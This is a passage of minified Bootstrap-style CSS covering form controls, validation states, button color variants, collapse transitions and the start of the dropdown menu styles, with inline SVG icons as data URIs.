16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:1px solid #ced4da;border-radius:.375rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-select{transition:none}}.form-select:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}.form-select:disabled{background-color:#e9ecef}.form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #212529}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem;border-radius:.25rem}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem;border-radius:.5rem}.form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-reverse{padding-right:1.5em;padding-left:0;text-align:right}.form-check-reverse .form-check-input{float:right;margin-right:-1.5em;margin-left:0}.form-check-input{width:1em;height:1em;margin-top:.25em;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(0,0,0,.25);-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-print-color-adjust:exact;color-adjust:exact;print-color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-check-input:checked{background-color:#0d6efd;border-color:#0d6efd}.form-check-input:checked[type=checkbox]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='m6 10 3 3 6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#0d6efd;border-color:#0d6efd;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{cursor:default;opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{width:2em;margin-left:-2.5em;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2386b7fe'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.form-switch.form-check-reverse{padding-right:2.5em;padding-left:0}.form-switch.form-check-reverse .form-check-input{margin-right:-2.5em;margin-left:0}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.btn-check:disabled+.btn,.btn-check[disabled]+.btn{pointer-events:none;filter:none;opacity:.65}.form-range{width:100%;height:1.5rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#0d6efd;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#b6d4fe}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-moz-range-thumb{-moz-transition:none;transition:none}}.form-range::-moz-range-thumb:active{background-color:#b6d4fe}.form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.form-range:disabled::-moz-range-thumb{background-color:#adb5bd}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-control-plaintext,.form-floating>.form-select{height:calc(3.5rem + 2px);line-height:1.25}.form-floating>label{position:absolute;top:0;left:0;height:100%;padding:1rem .75rem;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media (prefers-reduced-motion:reduce){.form-floating>label{transition:none}}.form-floating>.form-control,.form-floating>.form-control-plaintext{padding:1rem .75rem}.form-floating>.form-control-plaintext::-moz-placeholder,.form-floating>.form-control::-moz-placeholder{color:transparent}.form-floating>.form-control-plaintext::placeholder,.form-floating>.form-control::placeholder{color:transparent}.form-floating>.form-control-plaintext:not(:-moz-placeholder-shown),.form-floating>.form-control:not(:-moz-placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:focus,.form-floating>.form-control-plaintext:not(:placeholder-shown),.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:-webkit-autofill,.form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:not(:-moz-placeholder-shown)~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label,.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-select~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:-webkit-autofill~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label{border-width:1px 0}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-select:focus{z-index:3}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:3}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.375rem}.input-group-lg>.btn,.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;border-radius:.5rem}.input-group-sm>.btn,.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text{padding:.25rem .5rem;font-size:.875rem;border-radius:.25rem}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:3rem}.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#198754}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(25,135,84,.9);border-radius:.375rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#198754;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-valid,.was-validated .form-select:valid{border-color:#198754}.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"],.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-valid:focus,.was-validated .form-select:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-control-color.is-valid,.was-validated .form-control-color:valid{width:calc(3rem + calc(1.5em + .75rem))}.form-check-input.is-valid,.was-validated .form-check-input:valid{border-color:#198754}.form-check-input.is-valid:checked,.was-validated .form-check-input:valid:checked{background-color:#198754}.form-check-input.is-valid:focus,.was-validated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#198754}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.input-group .form-control.is-valid,.input-group .form-select.is-valid,.was-validated .input-group .form-control:valid,.was-validated .input-group .form-select:valid{z-index:1}.input-group .form-control.is-valid:focus,.input-group .form-select.is-valid:focus,.was-validated .input-group .form-control:valid:focus,.was-validated .input-group .form-select:valid:focus{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.375rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-invalid,.was-validated .form-select:invalid{border-color:#dc3545}.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"],.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-invalid:focus,.was-validated .form-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-control-color.is-invalid,.was-validated .form-control-color:invalid{width:calc(3rem + calc(1.5em + .75rem))}.form-check-input.is-invalid,.was-validated .form-check-input:invalid{border-color:#dc3545}.form-check-input.is-invalid:checked,.was-validated .form-check-input:invalid:checked{background-color:#dc3545}.form-check-input.is-invalid:focus,.was-validated .form-check-input:invalid:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.input-group .form-control.is-invalid,.input-group .form-select.is-invalid,.was-validated .input-group .form-control:invalid,.was-validated .input-group .form-select:invalid{z-index:2}.input-group .form-control.is-invalid:focus,.input-group .form-select.is-invalid:focus,.was-validated .input-group .form-control:invalid:focus,.was-validated .input-group .form-select:invalid:focus{z-index:3}.btn{--bs-btn-padding-x:0.75rem;--bs-btn-padding-y:0.375rem;--bs-btn-font-family: ;--bs-btn-font-size:1rem;--bs-btn-font-weight:400;--bs-btn-line-height:1.5;--bs-btn-color:#212529;--bs-btn-bg:transparent;--bs-btn-border-width:1px;--bs-btn-border-color:transparent;--bs-btn-border-radius:0.375rem;--bs-btn-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.15),0 1px 1px rgba(0, 0, 0, 0.075);--bs-btn-disabled-opacity:0.65;--bs-btn-focus-box-shadow:0 0 0 0.25rem rgba(var(--bs-btn-focus-shadow-rgb), .5);display:inline-block;padding:var(--bs-btn-padding-y) var(--bs-btn-padding-x);font-family:var(--bs-btn-font-family);font-size:var(--bs-btn-font-size);font-weight:var(--bs-btn-font-weight);line-height:var(--bs-btn-line-height);color:var(--bs-btn-color);text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;border:var(--bs-btn-border-width) solid var(--bs-btn-border-color);border-radius:var(--bs-btn-border-radius);background-color:var(--bs-btn-bg);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color)}.btn-check:focus+.btn,.btn:focus{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:active+.btn,.btn-check:checked+.btn,.btn.active,.btn.show,.btn:active{color:var(--bs-btn-active-color);background-color:var(--bs-btn-active-bg);border-color:var(--bs-btn-active-border-color)}.btn-check:active+.btn:focus,.btn-check:checked+.btn:focus,.btn.active:focus,.btn.show:focus,.btn:active:focus{box-shadow:var(--bs-btn-focus-box-shadow)}.btn.disabled,.btn:disabled,fieldset:disabled .btn{color:var(--bs-btn-disabled-color);pointer-events:none;background-color:var(--bs-btn-disabled-bg);border-color:var(--bs-btn-disabled-border-color);opacity:var(--bs-btn-disabled-opacity)}.btn-primary{--bs-btn-color:#fff;--bs-btn-bg:#0d6efd;--bs-btn-border-color:#0d6efd;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#0b5ed7;--bs-btn-hover-border-color:#0a58ca;--bs-btn-focus-shadow-rgb:49,132,253;--bs-btn-active-color:#fff;--bs-btn-active-bg:#0a58ca;--bs-btn-active-border-color:#0a53be;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#0d6efd;--bs-btn-disabled-border-color:#0d6efd}.btn-secondary{--bs-btn-color:#fff;--bs-btn-bg:#6c757d;--bs-btn-border-color:#6c757d;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#5c636a;--bs-btn-hover-border-color:#565e64;--bs-btn-focus-shadow-rgb:130,138,145;--bs-btn-active-color:#fff;--bs-btn-active-bg:#565e64;--bs-btn-active-border-color:#51585e;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#6c757d;--bs-btn-disabled-border-color:#6c757d}.btn-success{--bs-btn-color:#fff;--bs-btn-bg:#198754;--bs-btn-border-color:#198754;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#157347;--bs-btn-hover-border-color:#146c43;--bs-btn-focus-shadow-rgb:60,153,110;--bs-btn-active-color:#fff;--bs-btn-active-bg:#146c43;--bs-btn-active-border-color:#13653f;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#198754;--bs-btn-disabled-border-color:#198754}.btn-info{--bs-btn-color:#000;--bs-btn-bg:#0dcaf0;--bs-btn-border-color:#0dcaf0;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#31d2f2;--bs-btn-hover-border-color:#25cff2;--bs-btn-focus-shadow-rgb:11,172,204;--bs-btn-active-color:#000;--bs-btn-active-bg:#3dd5f3;--bs-btn-active-border-color:#25cff2;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#0dcaf0;--bs-btn-disabled-border-color:#0dcaf0}.btn-warning{--bs-btn-color:#000;--bs-btn-bg:#ffc107;--bs-btn-border-color:#ffc107;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#ffca2c;--bs-btn-hover-border-color:#ffc720;--bs-btn-focus-shadow-rgb:217,164,6;--bs-btn-active-color:#000;--bs-btn-active-bg:#ffcd39;--bs-btn-active-border-color:#ffc720;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#ffc107;--bs-btn-disabled-border-color:#ffc107}.btn-danger{--bs-btn-color:#fff;--bs-btn-bg:#dc3545;--bs-btn-border-color:#dc3545;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#bb2d3b;--bs-btn-hover-border-color:#b02a37;--bs-btn-focus-shadow-rgb:225,83,97;--bs-btn-active-color:#fff;--bs-btn-active-bg:#b02a37;--bs-btn-active-border-color:#a52834;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#dc3545;--bs-btn-disabled-border-color:#dc3545}.btn-light{--bs-btn-color:#000;--bs-btn-bg:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#f9fafb;--bs-btn-hover-border-color:#f9fafb;--bs-btn-focus-shadow-rgb:211,212,213;--bs-btn-active-color:#000;--bs-btn-active-bg:#f9fafb;--bs-btn-active-border-color:#f9fafb;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#f8f9fa;--bs-btn-disabled-border-color:#f8f9fa}.btn-dark{--bs-btn-color:#fff;--bs-btn-bg:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#1c1f23;--bs-btn-hover-border-color:#1a1e21;--bs-btn-focus-shadow-rgb:66,70,73;--bs-btn-active-color:#fff;--bs-btn-active-bg:#1a1e21;--bs-btn-active-border-color:#191c1f;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#212529;--bs-btn-disabled-border-color:#212529}.btn-outline-primary{--bs-btn-color:#0d6efd;--bs-btn-border-color:#0d6efd;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#0d6efd;--bs-btn-hover-border-color:#0d6efd;--bs-btn-focus-shadow-rgb:13,110,253;--bs-btn-active-color:#fff;--bs-btn-active-bg:#0d6efd;--bs-btn-active-border-color:#0d6efd;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#0d6efd;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-secondary{--bs-btn-color:#6c757d;--bs-btn-border-color:#6c757d;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#6c757d;--bs-btn-hover-border-color:#6c757d;--bs-btn-focus-shadow-rgb:108,117,125;--bs-btn-active-color:#fff;--bs-btn-active-bg:#6c757d;--bs-btn-active-border-color:#6c757d;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-success{--bs-btn-color:#198754;--bs-btn-border-color:#198754;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#198754;--bs-btn-hover-border-color:#198754;--bs-btn-focus-shadow-rgb:25,135,84;--bs-btn-active-color:#fff;--bs-btn-active-bg:#198754;--bs-btn-active-border-color:#198754;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#198754;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-info{--bs-btn-color:#0dcaf0;--bs-btn-border-color:#0dcaf0;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#0dcaf0;--bs-btn-hover-border-color:#0dcaf0;--bs-btn-focus-shadow-rgb:13,202,240;--bs-btn-active-color:#000;--bs-btn-active-bg:#0dcaf0;--bs-btn-active-border-color:#0dcaf0;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#0dcaf0;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-warning{--bs-btn-color:#ffc107;--bs-btn-border-color:#ffc107;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#ffc107;--bs-btn-hover-border-color:#ffc107;--bs-btn-focus-shadow-rgb:255,193,7;--bs-btn-active-color:#000;--bs-btn-active-bg:#ffc107;--bs-btn-active-border-color:#ffc107;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#ffc107;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-danger{--bs-btn-color:#dc3545;--bs-btn-border-color:#dc3545;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#dc3545;--bs-btn-hover-border-color:#dc3545;--bs-btn-focus-shadow-rgb:220,53,69;--bs-btn-active-color:#fff;--bs-btn-active-bg:#dc3545;--bs-btn-active-border-color:#dc3545;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#dc3545;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-light{--bs-btn-color:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#f8f9fa;--bs-btn-hover-border-color:#f8f9fa;--bs-btn-focus-shadow-rgb:248,249,250;--bs-btn-active-color:#000;--bs-btn-active-bg:#f8f9fa;--bs-btn-active-border-color:#f8f9fa;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#f8f9fa;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-outline-dark{--bs-btn-color:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#212529;--bs-btn-hover-border-color:#212529;--bs-btn-focus-shadow-rgb:33,37,41;--bs-btn-active-color:#fff;--bs-btn-active-bg:#212529;--bs-btn-active-border-color:#212529;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#212529;--bs-btn-disabled-bg:transparent;--bs-gradient:none}.btn-link{--bs-btn-font-weight:400;--bs-btn-color:var(--bs-link-color);--bs-btn-bg:transparent;--bs-btn-border-color:transparent;--bs-btn-hover-color:var(--bs-link-hover-color);--bs-btn-hover-border-color:transparent;--bs-btn-active-border-color:transparent;--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-border-color:transparent;--bs-btn-box-shadow:none;text-decoration:underline}.btn-group-lg>.btn,.btn-lg{--bs-btn-padding-y:0.5rem;--bs-btn-padding-x:1rem;--bs-btn-font-size:1.25rem;--bs-btn-border-radius:0.5rem}.btn-group-sm>.btn,.btn-sm{--bs-btn-padding-y:0.25rem;--bs-btn-padding-x:0.5rem;--bs-btn-font-size:0.875rem;--bs-btn-border-radius:0.25rem}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.collapsing.collapse-horizontal{width:0;height:auto;transition:width .35s ease}@media (prefers-reduced-motion:reduce){.collapsing.collapse-horizontal{transition:none}}.dropdown,.dropdown-center,.dropend,.dropstart,.dropup,.dropup-center{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{--bs-dropdown-min-width:10rem;--bs-dropdown-padding-x:0;--bs-dropdown-padding-y:0.5rem;--bs-dropdown-spacer:0.125rem;--bs-dropdown-font-size:1rem;--bs-dropdown-color:#212529;--bs-dropdown-bg:#fff;--bs-dropdown-border-color:var(--bs-border-color-translucent);--bs-dropdown-border-radius:0.375rem;--bs-dropdown-border-width:1px;--bs-dropdown-inner-border-radius:calc(0.375rem - 1px);--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-divider-margin-y:0.5rem;--bs-dropdown-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-dropdown-link-color:#212529;--bs-dropdown-link-hover-color:#1e2125;--bs-dropdown-link-hover-bg:#e9ecef;--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#0d6efd;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-item-padding-x:1rem;--bs-dropdown-item-padding-y:0.25rem;--bs-dropdown-header-color:#6c757d;--bs-dropdown-header-padding-x:1rem;--bs-dropdown-header-padding-y:0.5rem;position:absolute;z-index:1000;display:none;min-width:var(--bs-dropdown-min-width);padding:var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x);margin:0;font-size:var(--bs-dropdown-font-size);color:var(--bs-dropdown-color);text-align:left;list-style:none;background-color:var(--bs-dropdown-bg);background-clip:padding-box;border:var(--bs-dropdown-border-width) solid 